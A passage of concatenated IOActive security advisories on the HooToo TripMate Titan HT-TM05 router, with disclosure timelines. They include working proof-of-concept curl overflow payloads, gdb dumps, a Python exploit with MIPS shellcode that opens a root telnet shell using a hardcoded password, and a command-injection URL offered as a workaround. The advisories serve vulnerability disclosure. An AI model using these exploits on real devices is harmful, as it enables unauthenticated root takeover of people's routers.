Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following HTTP request will trigger the stack-based buffer overflow and override the program counter with ‘EEEE’:

```
curl -i -s -k  -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=pwdchk&name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAEEEE&pwd1='
```

Using gdb:

```
gdb-peda$ c

Continuing.


Program received signal SIGSEGV, Segmentation fault.

Warning: not running or target is remote

0x45454545 in ?? ()

gdb-peda$ i r

          zero       at       v0       v1       a0       a1
a2       a3

 R0   00000000 00000001 0132c35e 00000000 2b99e47c 00000001
00000000 00000001

            t0       t1       t2       t3       t4       t5
t6       t7

 R8   00000000 8054e7b0 00000001 73617020 83460da0 00000001
00000100 00000400

            s0       s1       s2       s3       s4       s5
s6       s7

 R16  00594668 00407ef0 00000000 ffffffff 2b99fa80 7fb619f4
00407e60 00000002

            t8       t9       k0       k1       gp       sp
s8       ra

 R24  00000001 2b680740 00000000 00000000 00596c90 7fb5f368
004080d0 45454545

        status       lo       hi badvaddr    cause       pc

      0100ff13 00000000 00000001 45454544 50800008 45454545

          fcsr      fir      hi1      lo1      hi2      lo2
hi3      lo3

      00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000

        dspctl  restart

      00000000 00000000

gdb-peda$
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS8]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in Content-Type Header
Severity	Critical – CVSSv3 Score 9.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to a buffer overflow, which could allow an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted Content-Type header.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will trigger the buffer overflow and override the $t9 register with a value located at 0x42424242 (‘BBBB’) that will then be called by the program:

```
curl -i -s -k  -X $'POST' -H $'Content-Type: '$(python -c 'print
"A"*1884 + "B"*4') --data-binary $'hello'
$'http://10.10.10.254:81/protocol.csp'
```

In gdb:

```
Program received signal SIGSEGV, Segmentation fault.

Warning: not running or target is remote

0x0051ba7c in ?? ()

gdb-peda$ i r

          zero       at       v0       v1       a0       a1
a2       a3

 R0   00000000 00000001 42424242 00596ae0 7fc77344 00000009
ffffffff 7fc76ac0

            t0       t1       t2       t3       t4       t5
t6       t7

 R8   fffffff8 fffffffc 00000001 00000807 00000800 00000200
00000100 00000400

            s0       s1       s2       s3       s4       s5
s6       s7

 R16  00594668 00407ef0 00000000 ffffffff 2b2f3a80 7fc77894
00407e60 00000002

            t8       t9       k0       k1       gp       sp
s8       ra

 R24  00000007 2b261fc0 7fc76ac0 00000000 00596c90 7fc77318
004080d0 0051ba38

        status       lo       hi badvaddr    cause       pc

      0100ff13 cccccccd 00000000 42424252 40800010 0051ba7c

          fcsr      fir      hi1      lo1      hi2      lo2
hi3       lo3
```

```
      00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000
        dspctl  restart
      00000000 00000000
gdb-peda$ display /8i $pc-8
2: x/8i $pc-8
   0x51ba74: lw    v0,32(sp)
   0x51ba78: nop
=> 0x51ba7c: lw    t9,16(v0)
   0x51ba80: lw    a0,32(sp)
   0x51ba84: lw    a1,36(sp)
   0x51ba88: lw    a2,40(sp)
   0x51ba8c: jalr  t9
   0x51ba90: nop
gdb-peda$
```

Mitigation

Until a firmware update is available, IOActive recommends to stop the `ioos` CGI server.

While the router itself does not provide this feature, a workaround is to execute the following `curl` command each time the router is rebooted, which will exploit one unauthenticated RCE to stop `ioos`:

```
curl        -i        -s        -k                -X        $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web${IFS}stop`'
```

The user can still use the web interface on port 80 to manage the router.

Timeline[TS9]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in Content-Length Header
Severity	Critical – CVSSv3 Score 9.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to a stack-based buffer overflow, which could allow an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted Content-Length header.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will trigger the buffer overflow and override the $t9 register with a value located at 0x42424242 (‘BBBB’) that will then be called by the program:

```
curl -i -s -k  -X $'GET' -H $'Content-Length: '$(python -c 'print
"A"*1883 + "B"*4') $'http://10.10.10.254:81/protocol.csp'
```

In gdb:

```
Program received signal SIGSEGV, Segmentation fault.

Warning: not running or target is remote

0x0051ba7c in ?? ()

gdb-peda$ i r

          zero       at       v0       v1       a0       a1
a2       a3

 R0   00000000 00000001 42424242 00596ae0 7f84c0d4 00000009
ffffffff 7f84b850

            t0       t1       t2       t3       t4       t5
t6       t7

 R8   fffffff8 fffffffc 00000001 00000807 00000800 00000200
00000100 00000400

            s0       s1       s2       s3       s4       s5
s6       s7

 R16  00594668 00407ef0 00000000 ffffffff 2b885a80 7f84c634
00407e60 00000002

            t8       t9       k0       k1       gp       sp
s8       ra

 R24  00000007 2b7f3fc0 00000000 00000000 00596c90 7f84c0a8
004080d0 0051ba38

        status       lo       hi badvaddr    cause       pc

      0100ff13 00000000 00000001 42424252 40800010 0051ba7c

          fcsr      fir      hi1      lo1      hi2      lo2
hi3      lo3
```

```
      00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000

        dspctl  restart

      00000000 00000000

gdb-peda$ display /8i $pc-8

1: x/8i $pc-8

   0x51ba74: lw    v0,32(sp)

   0x51ba78: nop

=> 0x51ba7c: lw    t9,16(v0)

   0x51ba80: lw    a0,32(sp)

   0x51ba84: lw    a1,36(sp)

   0x51ba88: lw    a2,40(sp)

   0x51ba8c: jalr  t9

   0x51ba90: nop

gdb-peda$
```

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET' $'http://10.10.10.254:81/protocol.csp?function=set&fname=security&opt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS10]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in Cookie Header
Severity	Critical – CVSSv3 Score 9.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.070)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to CVE-2017-9025, which allows an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via a specially crafted Cookie header.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following python script will trigger the heap-based buffer overflow, hijack the program counter and redirect the execution flow to enable telnet on the router:

File exploit.py:

```
import struct
import requests


HOST = '10.10.10.254'
PORT = 81


# Shellcode do_cmd('/etc/init.d/teld.sh start')
"""
   0:   3c040054   lui   a0,0x53         # high '/etc/init.d/teld.sh start'
   4:   34846230   ori   a0,a0,0x3580    # low '/etc/init.d/teld.sh start'
   8:   3c190041   lui   t9,0x41       # high 'do_cmd'
   c:   37390cd4   ori   t9,t9,0xcd4   # low 'do_cmd'
  10:   0320f809   jalr  t9
  14:   00000000   nop                         # filler for branch delay slot
"""
shellcode = '\x00\x00'
shellcode += '\x00' * 400  # NOP sled
shellcode += struct.pack('<I', 0x3c040053)
shellcode += struct.pack('<I', 0x34843580)
shellcode += struct.pack('<I', 0x3c190041)
shellcode += struct.pack('<I', 0x37390cd4)
shellcode += struct.pack('<I', 0x0320f809)
shellcode += '\x00' * 4


# Hardcoded offset that might change
offset_shellcode = 0x5addd0
bof = 'A' * 1036
# NULL-byte added by strcpy
bof += struct.pack('<I', offset_shellcode).replace('\x00', '')


try:
    r = requests.post(
        'http://{}:{}/protocol.csp'.format(HOST, PORT),
        headers={'Content-Type':            'application/x-www-form-urlencoded', 'Cookie': bof},
        data=shellcode)
except requests.exceptions.ConnectionError:
    pass
```

Running the exploit:

```
$ telnet 10.10.10.254
Trying 10.10.10.254...
telnet: connect to address 10.10.10.254: Connection refused
telnet: Unable to connect to remote host
$ python exploit.py
$ telnet 10.10.10.254
Trying 10.10.10.254...
Connected to 10.10.10.254.
Escape character is '^]'.
HT-TM05 login: root
Password: 20080826
login: can't chdir to home directory '/root'
#
```

It should be noted that the exploit relies on a hardcoded offset that might change between versions and sometimes change between reboots. When the exploit fails, the CGI server will crash but the telnet will not be opened.

Mitigation

Update to the latest firmware available for HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080).

Timeline[TS11]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Buffer Overflow in GET Parameters
Severity	Critical – CVSSv3 Score 9.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.070)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to CVE-2017-9026, which could allow an unauthenticated attacker to take control of the CGI server and execute arbitrary commands as root via specially crafted GET parameters.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will trigger the stack-based buffer overflow and override the program counter with 'BBBB':

```
curl            -i          -s          -k                      -X          $'GET'
$'http://10.10.10.254:81/protocol.csp?fname=A&opt=AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&username=guest&fun
ction=set'
```

In gdb:

```
Program received signal SIGSEGV, Segmentation fault.

Warning: not running or target is remote

0x42424242 in ?? ()

gdb-peda$ i r

          zero       at       v0       v1       a0       a1
a2       a3

 R0   00000000 00000001 00000001 00000142 005959b8 7fe9c895
ffffffff 7fe9c5d8

            t0       t1       t2       t3       t4       t5
t6       t7

 R8   fffffff8 fffffffc 00000001 00000807 00000800 00000200
00000100 00000400

            s0       s1       s2       s3       s4       s5
s6       s7

 R16  00594668 00407ef0 00000000 ffffffff 2b915a80 7fe9ef24
00407e60 00000002

            t8       t9       k0       k1       gp       sp
s8       ra

 R24  00000007 2b883c80 2b9143e4 00000000 00596c90 7fe9c898
004080d0 42424242

        status       lo       hi badvaddr    cause       pc

      0100ff13 00000000 00000002 42424242 50800010 42424242

          fcsr      fir      hi1      lo1      hi2      lo2
hi3      lo3

      00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000

        dspctl  restart

      00000000 00000000

gdb-peda$
```

Mitigation

Update to the latest firmware available for HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080).

Timeline[TS12]

October 06, 2017: IOActive discovers vulnerability and notifies HooToo.

October 12, 2017: Attempt to contact HooToo CEO over LinkedIn - No response.

October 16, 2017: Email sent to support@hootoo.com - No response.

November 6, 2017: Email sent to support@hootoo.com - No response.

January 29, 2018: Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.

IOActive Security Advisory

Title	Unauthenticated Off-by-one Buffer Overflow in URI
Severity	Medium – CVSSv3 Score 5.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:C)
Discovered by	Tao Sauvage
Advisory Date	April 23, 2018

Affected Products

Confirmed:

- HooToo TripMate Titan HT-TM05 (firmware fw-7620-WiFiDGRJ-HooToo-HT-TM05-2.000.080.080)

Impact

HooToo Tripmate Titan HT-TM05 is vulnerable to an off-by-one overflow, which would trigger an invalid memory write access and crash the CGI server, causing Denial of Service via specially crafted URI.

Background

HooToo Tripmate Titan HT-TM05 is a portable router created by HooToo, a leading consumer electronics brand operating around the globe. It can be used to host and stream media files and has a 10400mAh battery included that can recharge up to 3 smartphones.

Using reverse engineering, IOActive focused its effort against HooToo's `ioos` custom CGI server, which is bound to port 81 on all interfaces by default on HT-TM05. Multiple critical

vulnerabilities were identified that could be used by unauthenticated attackers to fully compromise the router.

IOActive believes that all HooToo routers using `ioos` are vulnerable to most, if not all of the vulnerabilities identified against the HT-TM05 model.

Technical Details

The following curl command will trigger the off-by-one overflow and crash the server:

```
curl -i -s -k  -X $'DELETE' $(python -c 'print
"http://10.10.10.254:81/" + "A"*20000')
```

In gdb:

```
Program received signal SIGSEGV, Segmentation fault.

Warning: not running or target is remote

0x2af31c94 in ?? ()

gdb-peda$ i r

          zero       at       v0       v1       a0       a1
a2       a3

 R0   00000000 7f94a5e4 00000041 005c6000 005c1638 005b1fd3
00000262 7f94a4d0

            t0       t1       t2       t3       t4       t5
t6       t7

 R8   fffffff8 fffffffc 00000001 00000807 00000800 00000200
00000100 00000400

            s0       s1       s2       s3       s4       s5
s6       s7

 R16  00004c2b 7f94a4d0 00004c2b 005ad60b 2af23000 0000000b
7f94a4d0 7f94a480

            t8       t9       k0       k1       gp       sp
s8       ra

 R24  00000007 2af31c80 00000000 00000000 2afca5d0 7f94a310
00000001 2af23670

        status       lo       hi badvaddr    cause       pc

      0100ff13 00000014 00000000 005c6000 4080000c 2af31c94

          fcsr      fir      hi1      lo1      hi2      lo2
hi3      lo3

      00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000
```

```
        dspctl  restart
      00000000 00000000
gdb-peda$ display /5i $pc-8
1: x/5i $pc-8
   0x2af31c8c:     lbu   v0,0(a1)
   0x2af31c90:     nop
=> 0x2af31c94:     sb    v0,0(v1)
   0x2af31c98:     addiu a1,a1,1
   0x2af31c9c:     b     0x2af31c84
   0x2af31ca0:     addiu v1,v1,1
gdb-peda$
```

It does not seem possible for an attacker to leverage the off-by-one vulnerability to gain remote code execution.

Mitigation

No mitigation is currently available, until the vendor publishes a firmware update fixing the vulnerability.

A radical temporary solution would be to kill the `ioos` binary. While the router would remain available, its web interface (on both port 80 and 81) would become unusable, preventing users from accessing advanced features. The following `curl` command may be used to kill `ioos`:

```
curl -i -s -k -X $'GET'
$'http://10.10.10.254:81/protocol.csp?function=set&fname=security&o
pt=open_forwarding&ip=`/etc/init.d/web%20stop`'
```

Note that the `curl` command would need to be run every time the router boots.

Timeline[TS13]

October 06, 2017:	IOActive discovers vulnerability and notifies HooToo.
October 12, 2017:	Attempt to contact HooToo CEO over LinkedIn - No response.
October 16, 2017:	Email sent to support@hootoo.com - No response.
November 6, 2017:	Email sent to support@hootoo.com - No response.
January 29, 2018:	Email sent to support@hootoo.com – Response January 30 (see below).

January 29, 2018: Called HooToo Customer Service – spoke with customer support representative David, giving notice of vulnerabilities found.

January 29, 2018: Called HooToo Tech Support – spoke with customer support representative Scotty, giving notice of vulnerabilities found.

January 29, 2018: Email sent to bruce.wang@sunvalley.com.cn per Bruce Wang's request via phone call with Tech Support – No response to email.

January 30, 2018: Receive email from HooToo Customer Care representative Judith requesting IOActive update to same firmware in which IOActive found vulnerabilities.